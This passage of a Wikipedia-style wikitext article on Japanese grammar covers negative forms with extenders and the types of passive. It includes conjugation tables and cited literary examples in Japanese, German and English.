hour<br>To hear from him a matter of some moment:<br>Whom after, under the confession’s seal,<br>He solemnly had sworn that what he spoke<br>My chaplain to no creature living but to me<br>Should utter, with demure confidence<br>This pausingly ensued,—‘Neither the King nor’s heirs,<br>Tell you the Duke, shall prosper: bid him strive<br>To gain the love of the commonalty: the Duke<br>Shall govern England.’”|script-quote=ja:'''監査''' 陛下がフランスへ御出張に相成りまする少し以前に、主人は<ruby>聖<rp>(</rp><rt>セント</rt><rp>)</rp></ruby>ロレンス・ポールトニー敎區內のローズ(と申す莊園)に滯在いたしてをりましたが、手前に、今度のフランスへの御旅行に關して、ロンドン市民はどんなことを申してゐるかと訊ねました。で、手前が、世人はフランス人が不信な振舞ひをしさうだから、王のお身が<ruby>危<rp>(</rp><rt>あやふ</rt><rp>)</rp></ruby>いと申してをると答へますと、公は、言下に、そりゃ實に誰れにも<ruby>危<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>惧<rp>(</rp><rt>く</rt><rp>)</rp></ruby>さるゝ所だ、ある聖僧が言った通りになりゃせないかと思ってをる、と申しまして、其僧は「或緊要な事を話したいから、或特選の時刻に、わしの侍僧のヂョン・デ・ラ・カーをよこしてくれと幾たびも申して來た、で、同人を差遣はすと、<ruby>懺<rp>(</rp><rt>ざん</rt><rp>)</rp></ruby><ruby>悔<rp>(</rp><rt>げ</rt><rp>)</rp></ruby><ruby>用<rp>(</rp><rt>よう</rt><rp>)</rp></ruby>の印まで<ruby>捺<rp>(</rp><rt>お</rt><rp>)</rp></ruby>させて、わし以外の何者にも口外すべからずと嚴格に誓言させて、さて、いかにも極祕らしく、躊躇しつゝ、『歸って公爵にお傳へなさい、王も其子孫も決して榮え續きはせんのだから、平民共の心を<ruby>收<rp>(</rp><rt>しう</rt><rp>)</rp></ruby><ruby>攬<rp>(</rp><rt>らん</rt><rp>)</rp></ruby>することにお<ruby>力<rp>(</rp><rt>つと</rt><rp>)</rp></ruby>めなされば、イングランドは公の所領とならうから』と、さういってよこしたのだ」、と斯やうに主人が申しました。|p=32|url=https://dl.ndl.go.jp/pid/1664875/1/22|script-chapter=ja:第二場 同處。會議室。|chapter=Scene II. The same. The Council-chamber.|script-title=ja:ヘンリー八世|title=King Henry VIII|trans-title=[[Henry VIII (play)|Henry VIII]]|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|authorlink=William Shakespeare|first=William|last=Shakespeare|authorlink2=John Fletcher (playwright)|first2=John|last2=Fletcher|publisher=Shinjusha|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|date=10 October 1958|location=[[Bunkyō]], Tokyo}}</ref>
|-
| rowspan=2 | {{#invoke:nihongo|nihongo_krt|be like|如し|gotoshi}}<br>{{#invoke:nihongo|nihongo_krt||如き|gotoki}}<br>{{#invoke:nihongo|nihongo_krt||如かる|gotokaru}}
| style=text-align:right | {{#invoke:lang|lang|ja|如}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''<br>{{#invoke:lang|lang|ja|如}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|き}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|如}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be like|如くない|gotoku nai}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:若しも此の如くないならば、吾人は彼のやうな人間價値を認知しない。人間存在といふ事は、吾人には絕對的に分り切つた事柄である。此の故に吾人は、若しも人間價値が普通の程度を超ゆる時にのみ、それに對する顯著なる人間價値の感情を有するのである。|trans-quote=Suppose it be not like so, I will not recognize human worth like his. Human existence is something absolutely familiar to me. Therefore, I have a pronounced sense of human worth for it only when human worth surpasses the common measure.|quote=Jenes Menschenwertes nun werde ich vielleicht sonst nicht inne. Das Menschsein ist mir ja eine absolut geläufige Sache. Ich habe darum ein ausgesprochenes Gefühl des Menschenwertes sonst nur, wenn derselbe das gemeine Maſs übersteigt.|p=754|url=https://dl.ndl.go.jp/pid/1227420/1/43|script-chapter=ja:'''第六章''' 悲劇|chapter=Sechstes Kapitel: Die Tragik.|trans-chapter='''Sixth Chapter:''' The Tragic|series=''Ästhetik. Psychologie des Schönen und der Kunst'' {{#invoke:lang|lang|ja|リップス美學大系}} [''Lipps’s Outline of Aesthetics'']|volume=6|script-title=ja:美の特殊形|trans-title=The Modifications of Beauty|title=Sechster Abschnitt. Die Modifikationen des Schönen.|publisher=Dobunkan|date=25 May 1928|translator-last=Inagaki|translator-first=Suematsu|location=[[Kanda, Tokyo]]|authorlink=Theodor Lipps|first=Theodor|last=Lipps}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:女中奉公とはいっても、九歳ではできる事は限られる。怒られ、叱られ、追い使われるしかない。水汲み、掃除、洗濯の手伝い、風呂焚きの手伝い、食器洗い.……まあ雑用だ。給金は当然のごとくない。ただし飯は食える。土間の片隅で、手早く同じ女中奉公の女達と食事をとるのだが、大彌の家は奉公人に優しい家で、食事は皆で一緒にいただく。|script-chapter=ja:'''<small>第一章</small> 初代野村徳七とタキ'''|script-title=ja:事を成すには、狂であれ 野村證券創業者 野村徳七その生涯|date=29 November 2019|publisher=President Inc.|last=Fukui|first=Yasuaki}}</ref>
|-
| style=text-align:right | {{#invoke:lang|lang|ja|如か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|如か}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not be like|如からん|gotokaran}}<br>{{#invoke:nihongo|nihongo_krt||如からぬ|gotokaranu}}<ref>{{#invoke:cite|book|lang=ja|trans-quote=As they entered the political season of Taishō 9 (1920), they held a meeting on the fifteenth of September, celebrating the twentieth anniversary of the [[Seiyūkai]], which was the most joyful occasion at the time for President [[Hara Takashi|Hara]] and other leaders, as well as for the party. As they commanded the absolute majority in the Diet, nothing went according to plan, and even in local assemblies, the number of prefectures in which the Seiyūkai did not get their way was almost too numerous to count.|script-quote=ja:<ruby>大<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>正<rp>(</rp><rt>しやう</rt><rp>)</rp></ruby>九<ruby>年<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby>の<ruby>政<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>治<rp>(</rp><rt>ぢ</rt><rp>)</rp></ruby><ruby>季<rp>(</rp><rt>き</rt><rp>)</rp></ruby>に<ruby>入<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つて、九<ruby>月<rp>(</rp><rt>ぐわつ</rt><rp>)</rp></ruby>十五<ruby>日<rp>(</rp><rt>にち</rt><rp>)</rp></ruby><ruby>政<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>友<rp>(</rp><rt>いう</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby><ruby>創<rp>(</rp><rt>さう</rt><rp>)</rp></ruby><ruby>立<rp>(</rp><rt>りつ</rt><rp>)</rp></ruby>二十<ruby>周<rp>(</rp><rt>しう</rt><rp>)</rp></ruby><ruby>年<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby>の<ruby>記<rp>(</rp><rt>き</rt><rp>)</rp></ruby><ruby>念<rp>(</rp><rt>ねん</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>を<ruby>開<rp>(</rp><rt>ひら</rt><rp>)</rp></ruby>いたことは、<ruby>總<rp>(</rp><rt>そう</rt><rp>)</rp></ruby><ruby>裁<rp>(</rp><rt>さい</rt><rp>)</rp></ruby><ruby>原<rp>(</rp><rt>はら</rt><rp>)</rp></ruby>および<ruby>幹<rp>(</rp><rt>かん</rt><rp>)</rp></ruby><ruby>部<rp>(</rp><rt>ぶ</rt><rp>)</rp></ruby>に<ruby>取<rp>(</rp><rt>と</rt><rp>)</rp></ruby>つても、<ruby>政<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>友<rp>(</rp><rt>いう</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>に<ruby>取<rp>(</rp><rt>と</rt><rp>)</rp></ruby>つても、<ruby>唯<rp>(</rp><rt>たゞ</rt><rp>)</rp></ruby>、この<ruby>時<rp>(</rp><rt>とき</rt><rp>)</rp></ruby>において、<ruby>最<rp>(</rp><rt>もつと</rt><rp>)</rp></ruby>も<ruby>愉<rp>(</rp><rt>ゆ</rt><rp>)</rp></ruby><ruby>快<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>であつた。<ruby>議<rp>(</rp><rt>ぎ</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>においては<ruby>絕<rp>(</rp><rt>ぜつ</rt><rp>)</rp></ruby><ruby>對<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>過<rp>(</rp><rt>くわ</rt><rp>)</rp></ruby><ruby>半<rp>(</rp><rt>はん</rt><rp>)</rp></ruby><ruby>數<rp>(</rp><rt>すう</rt><rp>)</rp></ruby>を<ruby>擁<rp>(</rp><rt>よう</rt><rp>)</rp></ruby>して、<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>、<ruby>意<rp>(</rp><rt>い</rt><rp>)</rp></ruby>の<ruby>如<rp>(</rp><rt>ごと</rt><rp>)</rp></ruby>からぬものはなく、<ruby>地<rp>(</rp><rt>ち</rt><rp>)</rp></ruby><ruby>方<rp>(</rp><rt>はう</rt><rp>)</rp></ruby><ruby>議<rp>(</rp><rt>ぎ</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>に<ruby>在<rp>(</rp><rt>あ</rt><rp>)</rp></ruby>つても、<ruby>政<rp>(</rp><rt>せい</rt><rp>)</rp></ruby><ruby>友<rp>(</rp><rt>いう</rt><rp>)</rp></ruby><ruby>會<rp>(</rp><rt>くわい</rt><rp>)</rp></ruby>の<ruby>意<rp>(</rp><rt>い</rt><rp>)</rp></ruby>のまゝに<ruby>爲<rp>(</rp><rt>な</rt><rp>)</rp></ruby>らぬ<ruby>府<rp>(</rp><rt>ふ</rt><rp>)</rp></ruby><ruby>縣<rp>(</rp><rt>けん</rt><rp>)</rp></ruby>は、<ruby>殆<rp>(</rp><rt>ほと</rt><rp>)</rp></ruby>んど<ruby>數<rp>(</rp><rt>かぞ</rt><rp>)</rp></ruby>ふるに<ruby>足<rp>(</rp><rt>た</rt><rp>)</rp></ruby>らぬ<ruby>狀<rp>(</rp><rt>じやう</rt><rp>)</rp></ruby><ruby>態<rp>(</rp><rt>たい</rt><rp>)</rp></ruby>である。|url=https://dl.ndl.go.jp/pid/1235598/1/400|p=707|script-chapter=ja:遞信大臣時代|trans-chapter=The Era of the [[Ministry of Communications (Japan)|Minister of Communications]]|script-title=ja:野田大塊傳|trans-title=The Life of [[Noda Utarō|Noda Taikai]]|editor-first=Jirō|editor-last=Sakaguchi|publisher={{#invoke:lang|lang|ja|野田大塊傳刊行會}}|year=1929}}</ref><br>{{#invoke:nihongo|nihongo_krt||如からず|gotokarazu}}<ref name=tsuji-1926>{{#invoke:cite|book|lang=ja|trans-quote=It is the beautiful concert overture by [[William Sterndale Bennett|Bennet-Sterndale]], which he, for lack of a better title, entitled „Die Najaden“ (“The Naïades”). It rustles and swells and sways and ripples and laps and lets [[pizzicati]] be heard, like sun flashes on the surface of waves. And it lets strange melody fragments and the sweet song [[Der Fischer (Goethe)|„Lockt Dich der tiefe Himmel nicht, das feuchtverklärte Blau?“]] (“Moves thee not that deep heaven, that wetly glorified blue?”) be heard. Truly, Bennet-Sterndale is the only one who composed Goethe’s poem without explicitly saying that it is so. No, perhaps he, an Englishman, was not thinking about it, for the poem may not have been in his memory as it is in ours.|script-quote=ja:それはベンネットスタァンディル Bennet-Sterndale の美しい演奏會用序曲であつて、更に良き題を見出すことが出來なかつたので „Die Najaden” と題してゐる。それはさは〱と鳴り、波立ち、搖れ動き、波紋をあらはし、ひた〱と音し、波の面に輝く太陽の閃光の如き撥音 Pizzicato を聽かせる。そして微妙な旋律の斷片と「かの深き天は汝を動さざるか、かの濡れて耀ける碧空は」 „Lockt Dich der tiefe Himmel nicht, das feuchtverklärte Blau.” なる甘美な歌をきこえしめる。實にベンネット スタァンディルは、これがそれであるとは云ひこそせね、ゴェテの詩を作曲した唯一人である。否、恐らく彼英國人にはその詩が吾らに於ける如からず、記憶のうちに存しなかつたから、これについて考へてはゐなかつたであらう。|quote=Es iſt die reizende Concertouvertüre von Bennet⸗Sterndale, die er, in Ermangelung eines beſſeren, „die Najaden“ genannt hat. Das rauſcht und ſchwillt und wogt und rieſelt und pläſchert und läßt helle Pizzicati hören, wie Sonnenblitze auf der Waſſerfläche, und ſeltſame Melodieenfragmente und ſüßen Geſang „lockt Dich der tiefe Himmel nicht, das feuchtverklärte Blau?“ Wahrlich, Bennet⸗Sterndale iſt der einzige, der Göthes Gedicht componirt hat und zwar ohne es ausdrücklich zu nennen, ja, vielleicht ohne daran zu denken, denn ihm, dem Engländer, mag es nicht eben ſo in der Erinnerung liegen, wie uns.|url=https://dl.ndl.go.jp/pid/978882/1/94|pp=134–135|script-chapter=ja:客觀的位置において詩歌と相並んで觀察せられたる音樂|trans-chapter=Music Observed in Its Objective Position alongside Poetry|chapter=Die Muſik betrachtet in ihrer objektiven Siellung neben der Poeſie|script-title=ja:音樂と詩歌との境 音樂藝術の美學に關する小論文|title=Die Grenzen der Musik und Poesie. Eine Studie zur Aeſthetik der Tonkunſt|trans-title=The Bounds of Music and Poetry: A Study into the Aesthetics of the Musical Art|authorlink=August Wilhelm Ambros|first=August Wilhelm|last=Ambros|translator-first=Shōichi|translator-last=Tsuji|series={{#invoke:lang|lang|ja|音樂叢書}}|volume=4|publisher=Iwanami Shoten|date=20 June 1926|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:だが、その點に――實は完全に前揭諸氏の其れのごとからず幾分かの獨自の論陣に籠つてから、亞浪氏は又亞浪氏なりの一個純正俳句陣なる旗幟の樹立に今日ある立場に照らすとしても、おのづから此處に述べようとする骨子には觸れる處はなはだ微弱ならざるを得ないことになる。|p=98|url=https://dl.ndl.go.jp/pid/1235695/1/56|script-chapter=ja:乙字系我觀|script-title=ja:俳句文藝の樂園|date=11 December 1935|authorlink=Dakotsu Iida|first=Dakotsu|last=Iida|publisher=Kōransha|location=[[Koishikawa]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:もちろん當時西鄕の威望は天下を壓し、薩摩にして若し起たば、九州の諸縣は道を開いてこれを迎ふべく、高知の立志社・彥根の大東派・金澤の島田派・庄內の酒井派・和歌山の陸奧派・など響應して立つべしと信ぜられて居たからでもあらうが、中には熊本鎭臺包圍の下策を憂ふるものもあり、西鄕小兵衞の如きは初めから長崎を襲擊し、政府の軍艦を奪ひ、船舶を掠め、馬關を擁して義を天下に唱ふるに如からずと主張し、野村忍介の如きは、若州小濱に上陸するの策を立てたくらゐのものであつた。|script-chapter=ja:'''第一八''' 西南戰爭と三菱會社|script-title=ja:日本海運の建設者 岩崎彌太郞|first=Shūko|last=Shiroyanagi|date=10 April 1942|edition=30th|publisher=Chōbunkaku|location=[[Koishikawa]], Tokyo|p=235|url=https://dl.ndl.go.jp/pid/1090075/1/127}}</ref>
|}
=== Negative: Grammatical compatibility ===
The eastern negative ''‑nai'' generally works like an adjective, although its [[Japanese conjugation (ren'yōkei base)#Gerund: Conjugation table|gerund]] ''‑nai de'' is more common than the adjectival ''‑nakute''. The western gerund is ''‑n(u) de''.
The [[Japanese conjugation#Imperfective|imperfect]] negative can be followed by the noun {{#invoke:nihongo|nihongo||内|uchi|{{gloss|interval; within}}}}, whereby it means "while it hasn't happened" or "before it happens." Contradictorily, when it is followed by the nouns {{#invoke:nihongo|nihongo||前|mae|{{gloss|front; before}}}} and {{#invoke:nihongo|nihongo||先|saki|{{gloss|tip; first}}}}, it can also mean the same thing, even though the literal meaning would suggest "before it doesn't happen." Thus, {{#invoke:nihongo|nihongo||来ないうち|konai uchi|{{gloss|before one comes}}}} would mean the same as {{#invoke:nihongo|nihongo||来ない前・先|konai mae/saki}},{{sfnp|Martin|2004|pp=387–388}} and roughly as the affirmative {{#invoke:nihongo|nihongo||来る前|kuru mae}} which, however, may be used when the speaker has positive conviction{{sfnp|Kuno|1973|p=154}} that one will in fact come.
The classical, and thus more literary than colloquial,{{efn|Except in western speech.}} ''‑zu'' is originally the [[Japanese conjugation (ren'yōkei base)#Infinitive: Conjugation table|infinitive]] of ''‑n(u)'', but it is often used conclusively with a copula. It is often optionally followed by the copular infinitive particle ''ni'' as in ''‑zu ni'' which works like a sort of adverbial gerund that means "without doing." It is possible to distinguish between [[Coordination (linguistics)|coordination]] in {{#invoke:nihongo|nihongo||食べ'''ずで'''寝た|Tabe'''zu de''' neta|{{gloss|I did not eat, I slept}}}} and [[Subordination (linguistics)|subordination]] in {{#invoke:nihongo|nihongo||食べ'''ずに'''寝た|Tabe'''zu ni''' neta|{{gloss|I slept without eating ({{=}} while hungry)}}}}.{{sfnp|Martin|2004|pp=376–377}}
{| class="wikitable"
|+ style=text-align:left | Negative with extender examples
|-
! Extender
! English
! Japanese
! Function
|-
! rowspan=2 | {{#invoke:nihongo|nihongo||内|uchi}}
| "You good? Worst‑case scenario, you get caught before you even kill anyone."
| {{#invoke:Nihongo|nihongo||「いい? 最悪なのは、一人も'''殺さないうち'''に捕まっちゃうことよ」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:百代が、藤間たちに顔を向けた。<br>「行ってきます。みなさんの尽力は、無駄にはしません」<br>「うん」冬美が口元だけで笑った。<br>「いい? 最悪なのは、一人も殺さないうちに捕まっちゃうことよ」<br>「わかってます」百代も微笑んだ。「安心してください。万が一捕まっても、みなさんのことは決して言いませんから」<br>「それは、信用してるわ」|trans-quote=Momoyo turned to Fujima and the others.<br>"I'm heading off. I won't let everybody's efforts go to waste."<br>"Uh huh," Fuyumi smiled only with her mouth.<br>"You good? Worst-case scenario, you get caught before you even kill anyone."<br>"I know," Momoyo smiled too. "Don't worry. On the off-chance I do get caught, I'll never tell about you guys."<br>"I trust you."|script-chapter=ja:第一章 出撃|trans-chapter=Chapter 1: Sortie|script-title=ja:二千回の殺人|trans-title=Two Thousand Murders|last=Ishimochi|first=Asami|series={{#invoke:lang|lang|ja|二千回の殺人}}|date=10 October 2018|publisher=Gentosha}}</ref>|"Ii? Saiaku na no wa, hitori mo '''korosanai uchi''' ni tsukamatchau koto yo"}}
| rowspan=2 | while not having done something; before doing something
|-
| My lord, I dare not make myself so guilty,<br>To give up willingly that noble title<br>Your master wed me to: nothing but death<br>Shall e'er divorce my dignities.{{efn|As long as I am not dead, I shall never give up this title.}}
| {{#invoke:Nihongo|nihongo||卿よ、わたしは、王が附與された尊稱を自分で捨てねばならんやうな罪を犯す筈はありません。'''死なんうち'''は、決して此爵位を離れません。<ref>{{#invoke:cite|book|lang=ja|quote='''Q. Kath.''' My lord, I dare not make myself so guilty,<br>To give up willingly that noble title<br>Your master wed me to: nothing but death<br>Shall e'er divorce my dignities.|script-quote=ja:'''キャサ''' 卿よ、わたしは、王が附與された尊稱を自分で捨てねばならんやうな罪を犯す筈はありません。死なんうちは、決して此<ruby>爵位<rp>(</rp><rt>くらゐ</rt><rp>)</rp></ruby>を離れません。|page=106|url=https://dl.ndl.go.jp/pid/1664875/1/59|script-chapter=ja:第一場 ロンドン。妃キャサリンの居殿。|chapter=Scene I. London. The Queen's apartments.|script-title=ja:ヘンリー八世|title=King Henry VIII|trans-title=[[Henry VIII (play)|Henry VIII]]|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|authorlink=William Shakespeare|first1=William|last1=Shakespeare|authorlink2=John Fletcher (playwright)|first2=John|last2=Fletcher|publisher=Shinjusha|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|date=10 October 1958|location=[[Bunkyō]], Tokyo}}</ref>|Kyō yo, watashi wa, ō ga fuyo sareta sonshō o jibun de suteneba naran yō na tsumi o okasu hazu wa arimasen. '''Shinan uchi''' wa, kesshite kono kurai o hanaremasen.}}
|-
! rowspan=2 | [[Japanese conjugation#Copulae|copulae]]
| I do not understand a word.{{efn|More elevated than ''tatanai desu''.}}
| {{#invoke:Nihongo|nihongo||一度も役に'''立たずです'''|Ichido mo yaku ni '''tatazu desu'''}}
| rowspan=2 | elevated negative predication
|-
| Of course the largest borrower is America which takes up to 40 percent of the total; Japan is far from equaling that but is in second place.{{efn|More elevated than ''oyobanai''.}}
| {{#invoke:Nihongo|nihongo||もちろん最大の借り手は全体の40パーセントを占めているアメリカであり、日本は遥かに'''及ばずである'''が、第二位である|Mochiron saidai no karite wa zentai no yonjippāsento o shimete iru Amerika de ari, Nihon wa haruka ni '''oyobazu de aru''' ga, dainii de aru}}
|-
! rowspan=2 | {{#invoke:nihongo|nihongo||に|ni|copular [[Japanese conjugation (ren'yōkei base)#Infinitive|infinitive]]}}
| I slept soundly without dreaming.{{efn|More elevated than ''minaku''.}}
| {{#invoke:Nihongo|nihongo||夢も'''見ずに'''ぐっすり眠った|Yume mo '''mizu ni''' gussuri nemutta}}
| rowspan=2 | elevated negative [[Japanese conjugation (ren'yōkei base)#Infinitive|conjunction]]
|-
| If you keep steady, without running risks, you are safe.{{efn|More elevated than ''shinaku''.}}
| {{#invoke:Nihongo|nihongo||冒険を'''せずに'''堅くやっていれば無事だ|Bōken o '''sezu ni''' kataku yatte ireba buji da}}
|}
== Passive ==
The '''passive''' or '''passive potential'''{{sfnp|Martin|2004|p=305}} turns the [[Patient (grammar)|patient (or target)]] or victim of an action into a subject, which can be marked with the nominative particle ''ga''.
The '''pure passive''' simply expresses what act is done by the [[Agent (grammar)|agent]] (A) to the patient (P), thus {{#invoke:Nihongo|nihongo||A'''が'''P'''を'''呼ぶ|A '''ga''' P '''o''' yobu|{{gloss|A calls P}}}} becomes {{#invoke:Nihongo|nihongo||P'''が'''A'''に'''呼ばれる|P '''ga''' A '''ni''' yobareru|{{gloss|P is called by A}}}}. The agent is typically marked with ''ni'', but ''kara'' can sometimes be used instead, especially if ''ni'' might be ambiguous; for example in {{#invoke:nihongo|nihongo||P'''が'''A'''に'''B'''に'''紹介される|P '''ga''' A '''ni''' B '''ni''' shōkai sareru}}, it is not clear which between A and B the agent is, so ''kara'' can be used instead as in {{#invoke:nihongo|nihongo||P'''が'''A'''から'''B'''に'''紹介される|P '''ga''' A '''kara''' B '''ni''' shōkai sareru|{{gloss|P is introduced by A to B}}}}.{{sfnp|Martin|2004|p=297–298}}
The '''adversative''', "'''victimizing'''" or '''affective passive''' expresses how a victim (V) is affected by, or suffers from, if the original verb is intransitive, the act being done by an agent, as in {{#invoke:Nihongo|nihongo||V'''が'''A'''に'''死なれる|V '''ga''' A '''ni''' shinareru|{{gloss|V suffers because A dies}}}}; or, if the original verb is transitive, the act being done by an agent to a patient, as in {{#invoke:Nihongo|nihongo||V'''が'''A'''に'''P'''を'''呼ばれる|V '''ga''' A '''ni''' P '''o''' yobareru|{{gloss|V suffers because A calls P}}}}. The terms ''adversative'' and ''victimizing'' are broadly correct, although the "victim" can sometimes be positively or even desirably affected by the action, so ''affective'' would be a more general term; for example, {{#invoke:nihongo|nihongo||暑いから外に出て風に吹かれてきます|Atsui kara soto ni dete kaze ni fukarete kimasu|{{xlat|It's hot so I'll go outside and get some wind}}, {{lit|It's hot, so I'll go outside and get affected by the wind blowing}}}}, {{#invoke:nihongo|nihongo||先生に子供を褒められた|Sensei ni kodomo o homerareta|{{xlat|My kid was praised by her teacher}}, {{lit|I was affected by the fact that the teacher praised my kid}}}}, etc. Sometimes what seems to be positive may turn out to be negative with additional context, such as {{#invoke:Nihongo|nihongo||いつだったか、私は電車の中で青年から席を譲られたことがあった[…]私はその時、いささか憂鬱であった|Itsu datta ka, watashi wa densha no naka de seinen kara seki o yuzurareta koto ga atta […] Watashi wa sono toki, isasaka yūutsu de atta|{{xlat|Once on a train I was given a seat by a young man […] I was a bit depressed that time}} [because I would rather him ignore my disability and treat me like a normal person]}}.{{sfnp|Martin|2004|p=298}} English has some similar constructions with intransitive verbs, though not necessarily with a negative connotation, such as "I got rained on" or "I got talked to".
The passive can also have no passive meaning, but is merely a more [[Honorific speech in Japanese|honorific]] way to '''exalt the subject'''.{{sfnp|Martin|2004|p=295}}<ref>{{#invoke:cite|web|url=https://kotobank.jp/word/%E3%82%8C%E3%82%8B-661976|language=ja|script-title=ja:れる|script-website=ja:コトバンク}}</ref>{{sfn|Banno|Ikeda|Ohno|Shinagawa|2020b|pp=210-212|loc="Lesson 21, Grammar 1: Passive Sentences"}} Some verbs that come with the particle ''ni'' may be ambiguous when used this way, as it might not be clear whether it is in the passive or the honorific without context. For example, since the verb {{#invoke:nihongo|nihongo||勝つ|katsu|{{gloss|win}}}} comes with ''ni'' whether or not it is in the passive,{{efn|{{#invoke:nihongo|nihongo||A'''が'''敵'''に'''勝つ|A '''ga''' teki '''ni''' katsu|{{gloss|A wins against an opponent}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''己'''に'''勝つ|A '''ga''' onore '''ni''' katsu|{{gloss|A wins against themself}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''病気'''に'''勝つ|A '''ga''' byōki '''ni''' katsu|{{gloss|A wins against sickness}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''誘惑'''に'''勝つ|A '''ga''' yūwaku '''ni''' katsu|{{gloss|A wins against temptation}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''戦い'''に'''勝つ|A '''ga''' tatakai '''ni''' katsu|{{gloss|A wins a battle}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''訴訟'''に'''勝つ|A '''ga''' soshō '''ni''' katsu|{{gloss|A wins a lawsuit}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''選挙'''に'''勝つ|A '''ga''' senkyo '''ni''' katsu|{{gloss|A wins an election}}}},<br>{{#invoke:nihongo|nihongo||A'''が'''競技'''に'''勝つ|A '''ga''' kyōgi '''ni''' katsu|{{gloss|A wins a contest}}}}, etc.}} in the line {{#invoke:nihongo|nihongo||「王子殿'''が'''姬'''に勝たれたら'''朕も幸福で御座いますぞ」|"Anata '''ga''' hime '''ni kataretara''' chin mo kōfuku de gozaimasu zo"}}, out of context, the king could be glad either if the prince is defeated by his princess (affective passive), or if he defeats her (subject exaltation); in context, it is the subject‑exalting interpretation, hence "[[Royal we|We]] would be delighted if ye defeat our princess."<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ペルシヤの王子も、板額そつちのけの勇猛なお姬樣の事をお聞き遊ばし、寶物を澤山に携へてはる〲と此の國へ旅立たれたので御座います。數十日かの旅の後、ペルシヤ王子は、勇猛なお姬樣のお父君にあたる方がお住ひの町へ到着され、携帶の寶物を安全の場所へしまつて、着いた翌日すぐに珍寶を贈物に差し上げ王樣に謁見を申し込まれました。王樣は迚も鄭重な待遇をされ、「<ruby>王子殿<rp>(</rp><rt>アナタ</rt><rp>)</rp></ruby>が姬に勝たれたら朕も幸福で御座いますぞ」と快く仰せられました。それから、ペルシヤの王子は美しいお姬様に決鬪をしたいが、時刻はいつ頃が宜しいかと云はれました。お姬樣は、とりあえず承諾の旨と其の時刻をお通知になりました。さあ此の事が、町中に傳はりますと大變な騷ぎで御座います。朝から、雲霞の如き老若男女の大群が此の勝負如何の物かと、つめ寄せます。|quote=Da hörte der Sohn des persischen Königs von ihr und schickte sich an, die weite Reise zu machen und nahm große Reichtümer mit. Er kam in die Stadt, in der der Vater der Prinzessin regierte, brachte seine Schätze an einen sicheren Ort und stellte sich am nächsten Tage dem Könige mit kostbaren Geschenken vor. Der empfing ihn sehr gütig und versicherte ihm, wie glücklich er wäre, wenn er siegte. Daraufhin bereitete sich der Prinz zum Kampfe gegen die schöne Prinzessin und bat um die Angabe der Stunde. Die Prinzessin war einverstanden und bestimmte die Zeit. Sofort verbreitete sich die Kunde durch die ganze Stadt und zur festgesetzten Zeit war eine große Menge dort versammelt, wo der Kampf vor sich gehen sollte.|trans-quote=When the prince of Persia heard of the valiant princess who would have put even [[Hangaku]] to shame, he took a wealth of riches and departed from a long way away for this land. After tens of days of traveling, when the Persian prince arrived in the city where the valiant princess's father resided, he put away his bags of treasures into a safe place, and then on the following day, he promptly attended an audience with the king and presented him with precious gifts. The king gave him a highly courteous reception, and gladly said, "[[Royal we|We]] would be delighted if ye defeat our princess." Thereupon, the prince of Persia sought to duel with the beautiful princess, and asked for a suitable time. Without hesitation, she accepted and announced the time. Word of this did the rounds in town, which caused quite a stir. Since the morning, a large horde of men and women, young and old, gathered to see what this contest would bring.|url=https://dl.ndl.go.jp/pid/1138369/1/71|pages=124–125|script-chapter=ja:征服されぬ王女 <small>(第十一話)</small>|chapter=Die unbesiegbare Prinzessin|trans-chapter=The Invincible Princess <small>(The Eleventh Tale)</small>|title=Der persische Dekameron|trans-title=The Persian Decameron|script-title=ja:ペルシヤ・デカメロン|authorlink=Franz Blei|first=Franz|last=Blei|translator-last=Shimojō|translator-first=Yūzō|date=5 November 1929}}</ref>
